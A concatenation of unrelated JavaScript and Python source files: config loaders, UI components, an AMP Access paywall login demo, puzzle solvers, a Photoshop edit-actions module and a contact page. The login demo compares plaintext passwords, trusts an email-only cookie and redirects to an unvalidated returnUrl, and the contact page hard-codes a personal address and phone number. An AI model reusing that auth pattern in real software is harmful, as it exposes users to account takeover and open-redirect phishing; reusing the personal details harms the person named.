import fs from "fs";
import logger from "../utils/logger";
if (fs.existsSync("../.env")) {
logger.debug("Using .env file to supply config environment variables");
dotenv.config({ path: "../.env" });
} else {
logger.debug(
"No .env file. Create an .env file to supply config environment variables"
);
}
// env is default to "development" unless env is specified
let node_env;
if (process.env.NODE_ENV) {
node_env = process.env.NODE_ENV;
} else {
node_env = "development";
}
export const NODE_ENV = node_env;
// server url is default to "http://localhost" unless env is specified
let server_url;
if (process.env.WEB_SERVER_URL) {
server_url = process.env.WEB_SERVER_URL;
} else {
server_url = "http://localhost";
}
export const SERVER_URL = server_url;
// port is default to 3030 unless env is specified
let server_port;
if (process.env.WEB_SERVER_PORT) {
server_port = process.env.WEB_SERVER_PORT;
} else {
server_port = 3030;
}
export const SERVER_PORT = server_port;
export const { JWT_SECRET } = process.env;
export const { SERVICE_USER_NAME } = process.env;
export const { SERVICE_USER_HOST } = process.env;
export const { SERVICE_USER_URL } = process.env;
export const { SERVICE_USER_PORT } = process.env;
export const { SERVICE_MOVIE_NAME } = process.env;
export const { SERVICE_MOVIE_HOST } = process.env;
export const { SERVICE_MOVIE_URL } = process.env;
export const { SERVICE_MOVIE_PORT } = process.env;
|
/** @license
* Copyright 2015 - present The AMP HTML Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS-IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
"use strict";
var express = require('express');
var router = express.Router();
var User = require('../../models/user');
var PaywallAccess = require('../../models/amp-access');
var AUTH_COOKIE_MAX_AGE = 1000 * 60 * 60 * 2; //2 hours
/**
* The link to the Login Page is configured via the login property in the
* AMP Access Configuration section.
*
* Login Page is simply a normal Web page with no special constraints, other
* than it should function well as a browser dialog.
*/
router.get('/', function(req, res) {
console.log('Serve /login');
res.render('amp-access/login', {
returnUrl: req.query.return,
readerId: req.query.rid
});
});
/**
* A simple login flow. The important thing is to map the user
* to it's AMP Reader ID.
*/
router.post('/submit', function(req, res) {
var email = req.body.email;
var password = req.body.password;
var returnUrl = req.body.returnurl;
var readerId = req.body.rid;
console.log('POST: ', email, returnUrl, readerId);
var user = User.findByEmail(email);
if (!user || user.password != password) {
console.log('Login failed: ', user);
res.redirect('/?rid=' + readerId + "&return=" + returnUrl);
return;
}
console.log('Login success: ', user);
// map the user to the AMP Reader ID
var paywallAccess = PaywallAccess.getOrCreate(readerId);
paywallAccess.user = user;
// set user as logged in via cookie
res.cookie('email', user.email, {
maxAge: AUTH_COOKIE_MAX_AGE // 2hr
});
res.redirect(returnUrl + '#success=true');
});
router.get('/reset', function(req, res) {
var readerId = req.query.rid;
if (!readerId) {
res.sendStatus(400);
return;
}
res.clearCookie('email');
PaywallAccess.deleteByReaderId(readerId);
res.redirect("/");
});
/**
* Simple user logout.
*/
router.get('/logout', function(req, res) {
var email = req.cookies.email;
if (email) {
PaywallAccess.deleteByEmail(email);
res.clearCookie('email');
}
res.redirect(req.header('Referer') || '/');
});
module.exports = router;
|
import * as React from 'react';
// import PropTypes from 'prop-types';
import {
AppBar,
Toolbar,
useScrollTrigger,
Stack,
Container,
Slide,
Link,
CssBaseline,
} from '@mui/material';
function HideOnScroll(props) {
const { children, window } = props;
// Note that you normally won't need to set the window ref as useScrollTrigger
// will default to window.
// This is only being set here because the demo is in an iframe.
const trigger = useScrollTrigger({
target: window ? window() : undefined,
});
return (
<Slide appear={false} direction='down' in={!trigger}>
{children}
</Slide>
);
}
const Menu = () => (
<>
<CssBaseline />
<HideOnScroll>
<AppBar sx={{ backgroundColor: '#e27c6e' }}>
<Toolbar>
<Container maxWidth='lg'>
<Stack
direction='row'
spacing={4}
justifyContent={{ xs: 'space-between', md: 'flex-start' }}
>
<Link
href='/#ceremonia'
underline='none'
sx={{
color: '#ffffff',
fontFamily: 'Roboto, sans-serif',
'&:hover': { textDecoration: 'underline' },
}}
>
Ceremonia
</Link>
<Link
href='/#celebracion'
underline='none'
sx={{
color: '#ffffff',
fontFamily: 'Roboto, sans-serif',
'&:hover': { textDecoration: 'underline' },
}}
>
Celebración
</Link>
<Link
href='/#info'
underline='none'
sx={{
color: '#ffffff',
fontFamily: 'Roboto, sans-serif',
'&:hover': { textDecoration: 'underline' },
}}
>
Info
</Link>
</Stack>
</Container>
</Toolbar>
</AppBar>
</HideOnScroll>
</>
);
// Menu.defaultProps = {
// variant: 'h1',
// component: null,
// sx: {},
// };
// Menu.propTypes = {
// variant: PropTypes.string,
// component: PropTypes.string,
// sx: PropTypes.object,
// };
export default Menu;
|
import sys
from numpypy import *
INF = 1 << 31
MAXN = 10005
if __name__ == '__main__':
values = [i ** 3 for i in range(1, 22)]
memo = [0] * MAXN
memo[0] = 1
for v in values:
for i in range(v, MAXN):
memo[i] += memo[i - v]
sys.stdin = open('input.txt', 'r')
while True:
try:
N = int(input())
except:
break
print(memo[N])
|
# coding: utf-8
import numpy as np
import re
import copy
import sys
import networkx as nx
#import matplotlib.pyplot as plt
#import operator
#from collections import defaultdict
from collections import Counter
import time
node_to_metadata = {}
def parse_node(idx, iii, tree, cur_node, DBG=True):
this_node_name = cur_node
cur_node = chr(ord(cur_node) + 1)
tree.add_node(this_node_name)
nb_children = iii[idx]
idx = idx + 1
nb_metadata = iii[idx]
idx = idx + 1
for k in range(nb_children):
(node,idx,cur_node) = parse_node(idx,iii,tree, cur_node, DBG)
tree.add_edge(this_node_name,node)
metadata = []
for k in range(nb_metadata):
metadata.append(iii[idx])
idx = idx + 1
node_to_metadata[this_node_name] = metadata.copy()
return (this_node_name, idx,cur_node)
def get_value(node,tree,DBG=True):
children = list(tree.successors(node))
if len(children) == 0:
total_metadata = 0
mm = node_to_metadata[node]
for i in mm:
total_metadata = total_metadata+i
return total_metadata
else:
total_metadata = 0
mm = node_to_metadata[node]
for i in mm:
if (i-1)<len(children):
total_metadata = total_metadata + get_value(children[i-1],tree,DBG)
return total_metadata
def function(ii, DBG = True):
ss = ii.split()
iii = [int(ns) for ns in ss]
if(DBG):print(iii)
idx = 0
tree = nx.DiGraph()
cur_node = 'A'
(root,idx,cur_node) = parse_node(idx, iii, tree, cur_node, DBG)
if(DBG):print(str(tree.edges))
ret = get_value(root,tree,DBG)
return ret
def test(cc=None, expected=None, DBG = False):
start_millis = int(round(time.time() * 1000))
result = str(function(cc,DBG))
stop_millis = int(round(time.time() * 1000))
expected = str(expected)
flag = (result == expected)
print("*** "+str(cc) + " *** -> Result = "+str(result), " -> success = "+ str(flag) + " -> expected " + expected)
print((stop_millis-start_millis),"ms",int((stop_millis-start_millis)/1000),"s",int((stop_millis-start_millis)/1000/60),"min")
t1="2 3 0 3 10 11 12 1 1 0 1 99 2 1 1 2"
#tt1 = t1.splitlines()
#test(t1,66,True) #
#sys.exit()
INPUT_FILE="input-d08.txt"
f = open(INPUT_FILE, "r")
contents = f.read()
#puzzle_input = contents.splitlines()
puzzle_input = contents.rstrip()
f.close()
ret = function(puzzle_input,True) #
print(ret)
|
/**
* Copyright (c) 2017, Shopgate, Inc. All rights reserved.
*
* This source code is licensed under the Apache 2.0 license found in the
* LICENSE file in the root directory of this source tree.
*/
import assert from 'assert';
describe('Polyfill', () => {
before(() => {
// eslint-disable-next-line no-extend-native
String.prototype.padEnd = undefined;
// eslint-disable-next-line global-require
require('Src/webpackConfig/helpers/polyfill');
});
it('should pad a string correctly', () => {
const paddedString = 'hello'.padEnd(9, 'world');
assert.equal(paddedString, 'helloworl');
const paddedString2 = 'hello'.padEnd(10);
assert.equal(paddedString2, 'hello ');
const paddedString3 = 'hello'.padEnd(3, 'world');
assert.equal(paddedString3, 'hello');
const paddedString4 = 'hello'.padEnd(10, 'o');
assert.equal(paddedString4, 'helloooooo');
});
});
|
"use strict";
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k);
__setModuleDefault(result, mod);
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
exports.__esModule = true;
exports.T_Address = exports.getNetworkId = exports.setNetworkId = void 0;
var eci = __importStar(require("./ETH_compiled_impl"));
var buffer_1 = __importDefault(require("buffer"));
var CFX_util_1 = require("./CFX_util");
var shared_impl_1 = require("./shared_impl");
var Buffer = buffer_1["default"].Buffer;
// XXX find a better way to support multiple netIds
var netId = 999;
function setNetworkId(networkId) {
netId = networkId;
exports.T_Address.defaultValue = recomputeDefaultAddr();
}
exports.setNetworkId = setNetworkId;
function getNetworkId() {
return netId;
}
exports.getNetworkId = getNetworkId;
// XXX this should not be computed at compile time, because it can change based on the netId
// Note: 0x1 = user, 0x8 = contract
// https://github.com/resodo/conflux-address-js/blob/0cbbe3d17fbd6cbc2c2fbafc3470ff6087f38087/lib/index.js#L86
// defaultValue: address_cfxStandardize(address_ethToCfx(eci.T_Address.defaultValue.replace('0x0', '0x1'))),
// XXX I (Dan) would like to address_cfxStandardize here, but I can't figure out how to disentangle defaultValue
// so that this addr defaultValue can be different than its ETH-equivalent defaultValue.
// (0x0 is not considered a valid addr prefix for the new cfx addr style)
function recomputeDefaultAddr() {
return address_ethToCfx(eci.T_Address.defaultValue);
}
function address_ethToCfx(addrE) {
(0, shared_impl_1.debug)("address_ethToCfx", "call", addrE);
addrE = addrE.toLowerCase();
var addrB = Buffer.from(addrE.slice(2), 'hex');
var addrC = (0, CFX_util_1.encodeCfxAddress)(addrB, netId);
return addrC;
}
// Note: does not add the mixed-case checksum info to the ETH-like address
function address_cfxToEth(addrC) {
// XXX why doesn't ts know about this fn?
(0, shared_impl_1.debug)("address_cfxToEth", "call", addrC);
var addrObj = (0, CFX_util_1.decodeCfxAddress)(addrC);
var addrE = '0x' + addrObj.hexAddress.toString('hex');
if (netId !== addrObj.netId) {
(0, shared_impl_1.debug)("Expected netId=".concat(netId, ", got netId=").concat(addrObj.netId, "."), "You might want to select ".concat(netId, " in Conflux Portal."));
}
return addrE;
}
exports.T_Address = __assign(__assign({}, eci.T_Address), { canonicalize: function (uv) {
(0, shared_impl_1.debug)("address canonicalize", { uv: uv });
if (typeof uv === 'string') {
if (uv.slice(0, 2) === '0x') {
var addrC = address_ethToCfx(uv);
return (0, CFX_util_1.address_cfxStandardize)(addrC);
}
return (0, CFX_util_1.address_cfxStandardize)(uv);
}
if (!uv)
throw Error("Expected address, got ".concat((0, shared_impl_1.j2s)(uv)));
// XXX what's a better way to show ts what's going on?
var uobj = uv;
if (uobj.networkAccount) {
return exports.T_Address.canonicalize(uobj.networkAccount);
}
if (uobj.address) {
return exports.T_Address.canonicalize(uobj.address);
}
throw Error("TODO: canonicalize non-string addr");
}, defaultValue: recomputeDefaultAddr(),
// Note: address_cfxToEth is not strictly necessary for munge.
// ((x) => x) also seems to work.
// But perhaps CBR for CFX should be the hex string, more like ETH?
// Will the CFX apis someday reject addresses in hex format? Probably not?
munge: function (bv) { return address_cfxToEth(bv); }, unmunge: function (nv) { return exports.T_Address.canonicalize(nv); } });
//# sourceMappingURL=CFX_compiled_impl.js.map |
const getLocale = () => {
return document.documentElement.lang || 'en'
}
const form = document.getElementById('feedback-form')
const confirmation = document.getElementById('feedback-confirmation')
const errorMsg = document.getElementById('feedback-error')
const submitErrorMsg = document.getElementById('feedback-submit-error')
function isEmpty(iter) {
const values = [...iter]
if (values.length > 2) {
return false
}
if (values.every(ele => (ele[0] === '_csrf' || (ele[0] === 'details' && ele[1] === '')))) {
return true;
}
return false;
}
const submitFeedback = (event) => {
event.preventDefault()
// eslint-disable-next-line no-undef
const data = new URLSearchParams(new FormData(form))
if (isEmpty(data.entries())) {
submitErrorMsg.classList.remove('hidden')
submitErrorMsg.focus({preventScroll : false})
return
}
// eslint-disable-next-line no-undef
fetch(`/${getLocale()}/feedback`, {
method: 'POST',
body: data,
})
.then((response) => {
if (response.ok) {
form.classList.add('hidden')
confirmation.classList.remove('hidden')
}
})
.catch((error) => {
console.log(error)
errorMsg.classList.remove('hidden')
})
}
if (form) {
// intercept the form submit
form.addEventListener('submit', submitFeedback)
}
var feedbackContainer = document.getElementsByClassName('feedback-container')[0];
if (feedbackContainer) {
feedbackContainer.className = feedbackContainer.className.replace(/\bno-js\b/g, "");
} |
/*
* Copyright (c) 2014 Adobe Systems Incorporated. All rights reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
* DEALINGS IN THE SOFTWARE.
*
*/
define(function (require, exports) {
"use strict";
var Promise = require("bluebird"),
Immutable = require("immutable");
var os = require("adapter").os;
var locks = require("../locks"),
layers = require("js/actions/layers"),
menu = require("./menu"),
collection = require("js/util/collection"),
headlights = require("js/util/headlights"),
history = require("js/actions/history"),
policyActions = require("js/actions/policy"),
dom = require("js/util/dom");
/**
* Native menu command IDs for Photoshop edit commands.
*
* @const
* @private
* @type {number}
*/
var CUT_NATIVE_MENU_COMMMAND_ID = 103,
COPY_NATIVE_MENU_COMMMAND_ID = 104,
PASTE_NATIVE_MENU_COMMMAND_ID = 105,
SELECT_ALL_NATIVE_MENU_COMMMAND_ID = 1017;
var LAYER_CLIPBOARD_FORMAT = "com.adobe.photoshop.spaces.design.layers";
/**
* Execute a native cut command.
*
* @private
* @return {Promise}
*/
var nativeCut = function () {
return this.transfer(menu.nativeModal, {
commandID: CUT_NATIVE_MENU_COMMMAND_ID
})
.catch(function () {
// Ignore errors from menu.nativeModal
});
};
nativeCut.action = {
modal: true,
reads: [],
writes: [],
transfers: [menu.nativeModal]
};
/**
* Execute a native copy command.
*
* @private
* @return {Promise}
*/
var nativeCopy = function () {
return this.transfer(menu.nativeModal, {
commandID: COPY_NATIVE_MENU_COMMMAND_ID
})
.catch(function () {
// Ignore errors from menu.nativeModal
});
};
nativeCopy.action = {
modal: true,
reads: [],
writes: [],
transfers: [menu.nativeModal]
};
/**
* Execute a native paste command.
*
* @private
* @return {Promise}
*/
var nativePaste = function () {
// FIXME: this suspend policies hack is for pasting smart object from other sources (e.g. Illustrator).
// The cause is similar to the place-object menu commands: DS is not receiving "toolModalStateChanged" events
// until the object is committed.
// To avoid restoring policies while in a modal state, text in particular, first check the tool store
// modal state before restoring policies. Super. Hack.
var policyStore = this.flux.store("policy"),
suspendPromise;
if (policyStore.areAllSuspended()) {
suspendPromise = Promise.resolve();
} else {
suspendPromise = this.transfer(policyActions.suspendAllPolicies);
}
return suspendPromise
.bind(this)
.then(function () {
return this.transfer(menu.nativeModal, {
commandID: PASTE_NATIVE_MENU_COMMMAND_ID,
waitForCompletion: true
});
})
.finally(function () {
var toolStore = this.flux.store("tool"),
policyStore = this.flux.store("policy");
if (!toolStore.getModalToolState() && policyStore.areAllSuspended()) {
return this.transfer(policyActions.restoreAllPolicies);
}
});
};
nativePaste.action = {
modal: true,
reads: [],
writes: [],
transfers: [menu.nativeModal, policyActions.suspendAllPolicies, policyActions.restoreAllPolicies]
};
/**
* Execute a native selectAll command.
*
* @private
* @param {boolean} waitForCompletion Flag for nativeModal
* @return {Promise}
*/
var nativeSelectAll = function (waitForCompletion) {
waitForCompletion = waitForCompletion || false;
return this.transfer(menu.nativeModal, {
commandID: SELECT_ALL_NATIVE_MENU_COMMMAND_ID,
waitForCompletion: waitForCompletion
})
.catch(function () {
// Ignore errors from menu.nativeModal
});
};
nativeSelectAll.action = {
modal: true,
reads: [],
writes: [],
transfers: [menu.nativeModal]
};
/**
* Execute either a cut or copy operation, depending on the value of the parameter.
*
* @private
* @param {boolean} cut If true, perform a cut operation; otherwise, a copy.
* @return {Promise}
*/
var _cutOrCopy = function (cut) {
return os.hasKeyboardFocus()
.bind(this)
.then(function (cefHasFocus) {
var el = window.document.activeElement,
data;
if (cefHasFocus && dom.isInput(el)) {
if (dom.isTextInput(el)) {
data = el.value.substring(el.selectionStart, el.selectionEnd);
if (cut) {
el.setRangeText("");
}
} else {
data = el.value;
}
} else {
// Even if CEF doesn't have focus, a disabled input could have a selection
var selection = window.document.getSelection();
if (selection.type === "Range") {
data = selection.toString();
}
}
if (typeof data === "string") {
var cutCopyEvent = new window.Event(cut ? "cut" : "copy", { bubbles: true });
el.dispatchEvent(cutCopyEvent);
return os.clipboardWrite(data);
}
// If we're on modal state (type edit), we should go with native copy/cut
if (this.flux.store("tool").getModalToolState()) {
if (cut) {
return this.transfer(nativeCut);
} else {
return this.transfer(nativeCopy);
}
} else if (!cut) {
var applicationStore = this.flux.store("application"),
document = applicationStore.getCurrentDocument();
if (!document || document.unsupported) {
return;
}
var layerIDs = collection.pluck(document.layers.selectedNormalized, "id"),
payload = {
document: document.id,
layers: layerIDs
},
rawPayload = JSON.stringify(payload);
headlights.logEvent("edit", "layers", "copy-layers");
return os.clipboardWrite(rawPayload, LAYER_CLIPBOARD_FORMAT);
}
});
};
/**
* Execute a cut operation on the currently active HTML element.
*
* @private
* @return {Promise}
*/
var cut = function () {
return _cutOrCopy.call(this, true);
};
cut.action = {
modal: true,
reads: [locks.JS_TOOL, locks.PS_APP],
writes: [locks.JS_DOC, locks.PS_DOC, locks.OS_CLIPBOARD],
transfers: [nativeCut]
};
/**
* Execute a copy operation on the currently active HTML element.
*
* @private
* @return {Promise}
*/
var copy = function () {
return _cutOrCopy.call(this, false);
};
copy.action = {
modal: true,
reads: [locks.JS_DOC, locks.JS_TOOL, locks.PS_APP],
writes: [locks.OS_CLIPBOARD],
transfers: [nativeCopy]
};
/**
* Execute a paste operation on the currently active HTML element.
*
* @private
* @return {Promise}
*/
var paste = function () {
return os.hasKeyboardFocus()
.bind(this)
.then(function (cefHasFocus) {
var el = window.document.activeElement;
if (cefHasFocus && dom.isInput(el)) {
return os.clipboardRead()
.then(function (result) {
var data = result.data,
format = result.format;
if (format !== "string") {
return;
}
if (dom.isTextInput(el)) {
var selectionStart = el.selectionStart;
el.setRangeText(data);
el.setSelectionRange(selectionStart + data.length, selectionStart + data.length);
} else {
el.value = data;
}
var pasteEvent = new window.Event("paste", { bubbles: true });
el.dispatchEvent(pasteEvent);
});
} else {
return os.clipboardRead([LAYER_CLIPBOARD_FORMAT])
.bind(this)
.then(function (result) {
var format = result.format;
if (format !== LAYER_CLIPBOARD_FORMAT) {
return this.transfer(nativePaste);
}
var applicationStore = this.flux.store("application"),
document = applicationStore.getCurrentDocument();
if (!document || document.unsupported) {
return;
}
var data = result.data,
payload = JSON.parse(data),
documentID = payload.document,
documentStore = this.flux.store("document"),
fromDocument = documentStore.getDocument(documentID);
if (!fromDocument || fromDocument.unsupported) {
return;
}
var layerIDs = payload.layers,
fromLayers = Immutable.List(layerIDs.reduce(function (layers, layerID) {
var layer = fromDocument.layers.byID(layerID);
if (layer) {
layers.push(layer);
}
return layers;
}, []));
headlights.logEvent("edit", "layers", "paste-layers");
return this.transfer(layers.duplicate, document, fromDocument, fromLayers);
});
}
});
};
paste.action = {
modal: true,
reads: [locks.JS_DOC, locks.JS_APP, locks.OS_CLIPBOARD, locks.PS_APP],
writes: [],
transfers: [layers.duplicate, nativePaste]
};
/**
* Execute a select operation on the currently active HTML element.
*
* @private
* @return {Promise}
*/
var selectAll = function () {
return os.hasKeyboardFocus()
.bind(this)
.then(function (cefHasFocus) {
var el = window.document.activeElement;
if (cefHasFocus && dom.isInput(el)) {
if (dom.isTextInput(el)) {
el.setSelectionRange(0, el.value.length);
}
} else {
var toolStore = this.flux.store("tool");
if (toolStore.getModalToolState()) {
return this.transfer(nativeSelectAll);
} else {
return this.transfer(layers.selectAll);
}
}
});
};
selectAll.action = {
modal: true,
reads: [locks.JS_TOOL, locks.PS_APP],
writes: [],
transfers: [layers.selectAll, nativeSelectAll]
};
/**
* Step Backwards by transferring to the appropriate history action
*
* @private
* @return {Promise}
*/
var undo = function () {
var currentDocument = this.flux.store("application").getCurrentDocument();
if (!currentDocument) {
return Promise.resolve();
}
return this.transfer(history.decrementHistory, currentDocument.id);
};
undo.action = {
reads: [locks.JS_APP, locks.JS_DOC],
writes: [],
transfers: [history.decrementHistory],
post: ["verify.layers.verifyLayerIndex"],
modal: true,
hideOverlays: true
};
/**
* Step Forward by transferring to the appropriate history action
*
* @private
* @return {Promise}
*/
var redo = function () {
var currentDocument = this.flux.store("application").getCurrentDocument();
if (!currentDocument) {
return Promise.resolve();
}
return this.transfer(history.incrementHistory, currentDocument.id);
};
redo.action = {
reads: [locks.JS_APP, locks.JS_DOC],
writes: [],
transfers: [history.incrementHistory],
post: ["verify.layers.verifyLayerIndex"],
modal: true,
hideOverlays: true
};
exports.nativeCut = nativeCut;
exports.nativeCopy = nativeCopy;
exports.nativePaste = nativePaste;
exports.nativeSelectAll = nativeSelectAll;
exports.cut = cut;
exports.copy = copy;
exports.paste = paste;
exports.selectAll = selectAll;
exports.undo = undo;
exports.redo = redo;
});
|
import { inject, Aurelia } from 'aurelia-framework';
import AuthService from 'auth-service';
import log from 'logger';
import {Store} from 'store';
@inject(Aurelia, AuthService, Store)
export class Login {
email = '';
password = '';
error = '';
constructor(aurelia, authService, store) {
this.auth = authService;
this.store = store;
this.auth.isAuthenticated().then(auth => { if(auth) aurelia.setRoot('app'); });
}
async login() {
if(this.email && this.password) {
if(!await this.auth.login(this.email, this.password)) {
this.error = this.auth.error || 'Invalid login. Please try again.';
// this.error = 'Invalid login. Please try again.';
} else {
this.error = '';
}
} else {
this.error = 'Please enter a username and password.';
}
}
async attached() {
this.store.currentView = 'login';
}
}
|
import React, { Component } from 'react';
import { observer } from 'mobx-react';
import {
Navbar,
FormGroup,
FormControl,
Button,
Checkbox,
InputGroup
} from 'React-Bootstrap';
@observer
export default class Filter extends Component {
clear() {
this.props.store.filter = '';
}
filter(e) {
this.props.store.filter = e.target.value;
}
getCompleted(e) {
this.props.store.filterCompleted = e.target.checked;
}
render() {
const { filter, filterCompleted } = this.props.store;
return (
<Navbar.Form pullRight>
<FormGroup>
<Checkbox
onChange={this.getCompleted.bind(this)}
checked={filterCompleted}
>
{' '}
Show done
</Checkbox>
{' '}
<InputGroup>
<FormControl
type="text"
placeholder="search"
value={filter}
onChange={this.filter.bind(this)}
/>
<InputGroup.Button>
<Button
type="button"
onClick={this.clear.bind(this)}
>
clear
</Button>
</InputGroup.Button>
</InputGroup>
</FormGroup>
{' '}
</Navbar.Form>
);
}
}
|
import React, { Component } from "react";
import Header from "../../components/header/Header";
import Footer from "../../components/footer/Footer";
import SocialMedia from "../../components/socialMedia/SocialMedia";
import Button from "../../components/button/Button";
import { greeting } from "../../portfolio";
import { Fade } from "react-reveal";
import "./ContactComponent.css";
const addressSection = {
title: "Address",
subtitle: "Natasha Park, Mira Road (East), Thane - 401107",
avatar_image_path: "address_image.svg",
location_map_link: "https://goo.gl/maps/oyqbqxMZtwthEJXK7",
};
const phoneSection = {
title: "Phone Number",
subtitle: "+91 8779170960",
};
const emailSection = {
title: "Email",
subtitle: "[email protected]",
};
const ContactData = {
title: "Contact Me",
profile_image_path: "profile.png",
description:
"I am available on almost every social media. You can message me, I will reply within 24 hours. I can help you with ML, AI, React, Android, Cloud and Opensource Development.",
};
class Contact extends Component {
render() {
return (
<div className="contact-main">
<Header />
<div className="basic-contact">
<Fade bottom duration={1000} distance="40px">
<div className="contact-heading-div">
<div className="contact-heading-img-div">
<img
src={require(`../../assests/images/${ContactData["profile_image_path"]}`)}
alt=""
/>
</div>
<div className="contact-heading-text-div">
<h1 className="contact-heading-text">{ContactData["title"]}</h1>
<p className="contact-header-detail-text subTitle">
{ContactData["description"]}
</p>
<SocialMedia />
<div className="resume-btn-div">
<Button
text="See My Resume"
newTab={true}
href={greeting.resumeLink}
/>
</div>
</div>
</div>
</Fade>
<Fade bottom duration={1000} distance="40px">
<div className="address-heading-div">
<div className="contact-heading-img-div">
<img
src={require(`../../assests/images/${addressSection["avatar_image_path"]}`)}
alt=""
/>
</div>
<div className="address-heading-text-div">
<h1 className="address-heading-text">
{addressSection["title"]}
</h1>
<p className="contact-header-detail-text subTitle">
{addressSection["subtitle"]}
</p>
<h1 className="address-heading-text">
{phoneSection["title"]}
</h1>
<p className="contact-header-detail-text subTitle">
{phoneSection["subtitle"]}
</p>
<h1 className="address-heading-text">
{emailSection["title"]}
</h1>
<p className="contact-header-detail-text subTitle">
<a
className="subTitle"
href={"mailto:" + emailSection["subtitle"]}
style={{ textDecoration: "none" }}
>
{emailSection["subtitle"]}
</a>
</p>
</div>
</div>
</Fade>
</div>
<Footer />
</div>
);
}
}
export default Contact;
|
from osprey.voice import Context, repeat
ctx = Context('repeater')
ctx.set_commands({
'repeat <n>': lambda m: repeat(m['n'] - 1),
'repeat <n> more': lambda m: repeat(m['n']),
'repeat it': lambda m: repeat(1),
})
|
import axios from 'axios'
export default function request(config) {
return new Promise((resolve, reject) => {
const instance = axios.create({
baseURL: 'http://123.207.32.32:8000/api/m3',
// baseURL: 'http://106.54.54.237:8000/api/m3',
timeout: 5000
})
instance(config).then((res) => {
resolve(res)
}).catch((err) => {
reject(err)
})
})
} |
const defaultState = {
artistIds: ''
};
export const artistsReducer = (state = defaultState, action) => {
switch (action.type) {
case "SET_ARTIST_IDS":
return {
...state,
artistIds: action.artistIds
};
case "FETCH_ARTISTS_PENDING":
return {
...state,
fetchArtistsPending: true
};
case "FETCH_ARTISTS_SUCCESS":
return {
...state,
artistList: action.artists,
fetchArtistsError: false,
fetchArtistsPending: false
};
case "FETCH_ARTISTS_ERROR":
return {
...state,
fetchArtistsError: true,
fetchArtistsPending: false
};
default:
return state;
}
};
export default artistsReducer;
|
'use strict';
// Infrastructure controller
angular.module('infrastructures').controller('InfrastructuresController', ['$scope', '$stateParams', '$location', 'Authentication', 'Infrastructures',
function($scope, $stateParams, $location, Authentication, Infrastructures) {
$scope.authentication = Authentication;
// Create new Infrastructure
$scope.create = function() {
// Create new Infrastructure object
var infrastructure = new Infrastructures ({
leasedOwned: this.leasedOwned,
institutionAttachedTo: this.institutionAttachedTo,
documentNumber: this.documentNumber,
registrationChargesPaid: this.registrationChargesPaid,
registrationValue: this.registrationValue,
stampDutyPaid: this.stampDutyPaid,
registrationDate: this.registrationDate,
descriptionOfProperty: this.descriptionOfProperty,
area: this.area,
unitOfMeasure: this.unitOfMeasure,
leasedPeriod: this.leasedPeriod,
leaseRental: this.leaseRental,
leaseAdvance: this.leaseAdvance,
leaseAdvancePaymentMode: this.leaseAdvancePaymentMode,
leaseRentDueDate: this.leaseRentDueDate,
lessorName: this.lessorName,
lessorPhoneNumber: this.lessorPhoneNumber,
lessorAddress: this.lessorAddress,
lessorAccountNumber: this.lessorAccountNumber,
lessorBankDetails: this.lessorBankDetails,
created: Date.now
});
// Redirect after save
infrastructure.$save(function(response) {
$location.path('infrastructures/' + response._id);
// Clear form fields
$scope.name = '';
}, function(errorResponse) {
$scope.error = errorResponse.data.message;
});
};
// Remove existing Infrastructure
$scope.remove = function(infrastructure) {
if ( infrastructure ) {
infrastructure.$remove();
for (var i in $scope.Infrastructures) {
if ($scope.infrastructures [i] === infrastructure) {
$scope.infrastructures.splice(i, 1);
}
}
} else {
$scope.infrastructure.$remove(function() {
$location.path('infrastructures');
});
}
};
// Update existing Infrastructure
$scope.update = function() {
var infrastructure = $scope.infrastructure;
infrastructure.$update(function() {
$location.path('infrastructures/' + infrastructure._id);
}, function(errorResponse) {
$scope.error = errorResponse.data.message;
});
};
// Find a list of Infrastructure
$scope.find = function() {
$scope.infrastructures = Infrastructures.query();
};
// Find existing Infrastructure
$scope.findOne = function() {
$scope.infrastructure = Infrastructures.get({
infrastructureId: $stateParams.infrastructureId
});
};
}
]); |
/* ***** BEGIN LICENSE BLOCK *****
* Distributed under the BSD license:
*
* Copyright (c) 2013 Matthew Christopher Kastor-Inare III, Atropa Inc. Intl
* All rights reserved.
*
* Contributed to Ajax.org under the BSD license.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
* * Redistributions of source code must retain the above copyright
